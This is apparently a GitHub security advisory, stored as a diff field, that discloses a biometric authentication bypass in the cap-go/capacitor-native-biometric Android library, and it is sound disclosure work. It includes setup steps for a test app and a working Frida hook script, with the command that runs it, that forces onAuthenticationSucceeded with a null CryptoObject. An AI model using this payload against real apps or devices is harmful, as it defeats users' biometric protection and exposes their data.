+ "details": "There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. \n\n---\n\n## Summary\n\nThe [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88):\n\n```java\n@Override\n public void onAuthenticationSucceeded(\n @NonNull BiometricPrompt.AuthenticationResult result\n ) {\n super.onAuthenticationSucceeded(result);\n finishActivity(\"success\");\n }\n```\n\nAs the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. \n\n## PoC Video:\n\nhttps://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7\n\n## Environment:\n\nThe following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. \n\n1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name `capgo-poc`: \n\n```sh\nnpx create-react-app capgo-poc --template typescript\n```\n\nYarn Alternative:\n\n```sh\nnpm install --global yarn\nyarn create react-app capgo-poc --template typescript\n```\n\n2. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:\n\n```sh\ncd capgo-poc\nnpm install @capacitor/core \nnpm install @capacitor/cli \nnpm install @capacitor/android\nnpm install @capgo/capacitor-native-biometric\nnpm install react\n```\n\nYarn Alternative:\n\n```sh\ncd capgo-poc\nyarn add @capacitor/core \nyarn add @capacitor/cli \nyarn add @capacitor/android\nyarn add @capgo/capacitor-native-biometric\nyarn add react\n```\n\n3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands:\n\n```sh\nnpx cap init\nnpx cap add android\n```\n\n4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions:\n\n```xml\n<uses-permission android:name=\"android.permission.USE_BIOMETRIC\" />\n<uses-permission android:name=\"android.permission.USE_FINGERPRINT\" />\n```\n\n5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code:\n\n```js\nimport React, { useState } from 'react';\nimport { NativeBiometric } from '@capgo/capacitor-native-biometric';\n\nconst App = () => {\n // State to hold authentication status\n const [authStatus, setAuthStatus] = useState<string | null>(null);\n\n // Function to authenticate the user\n const authenticateUser = async () => {\n try {\n const result = await NativeBiometric.verifyIdentity({\n reason: 'For an application access',\n title: 'Log in',\n subtitle: '',\n description: 'Verify yourself by biometrics',\n useFallback: true,\n maxAttempts: 3,\n }).then(() => true)\n .catch(() => false);\n\n if (!result) {\n setAuthStatus('failed');\n } else {\n setAuthStatus('success');\n }\n } catch (error) {\n console.error('Error during biometric verification:', error);\n setAuthStatus('error');\n }\n };\n\n return (\n <div>\n <h1>CAP-GO Capacitor Native Biometric Authentication</h1>\n <button onClick={authenticateUser}>Authenticate with Biometrics</button>\n\n {/* Conditionally render based on authentication status */}\n {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}\n {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}\n {authStatus === 'error' && <h2>Error during authentication</h2>}\n </div>\n );\n};\n\nexport default App;\n```\n\n6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:\n\n```sh\nnpm run build\nnpx cap sync android \nnpx cap open android\n```\n\nYarn alternative:\n\n```sh\nyarn build\nnpx cap sync android \nnpx cap open android\n```\n\n## Exploitation:\n\nFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. \n\nNote that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. \n\n1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command:\n\n```sh\nfrida -U -l <PAYLOAD> -n 'capgo-poc'\n```\n\n### Payload\n```js\nJava.perform(function () {\n hookBiometricPrompt();\n});\n\nfunction getBiometricAuthResult(resultObj, cryptoInst) {\n var authenticationResultInst = resultObj.$new(cryptoInst, 0);\n return authenticationResultInst;\n};\n\nfunction getBiometricPromptResult() {\n var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');\n var cryptoInst = cryptoObj.$new(null);\n var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');\n var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);\n return authenticationResultInst\n};\n\nfunction hookBiometricPrompt() {\n var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');\n console.log(\"Hooking BiometricPrompt.authenticate()...\");\n biometricPrompt.implementation = function (cancellationSignal, executor, callback) {\n var authenticationResultInst = getBiometricPromptResult();\n callback.onAuthenticationSucceeded(authenticationResultInst);\n }\n};\n```\n\n[^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/\n[^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage\n[^frida]: https://frida.re/",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
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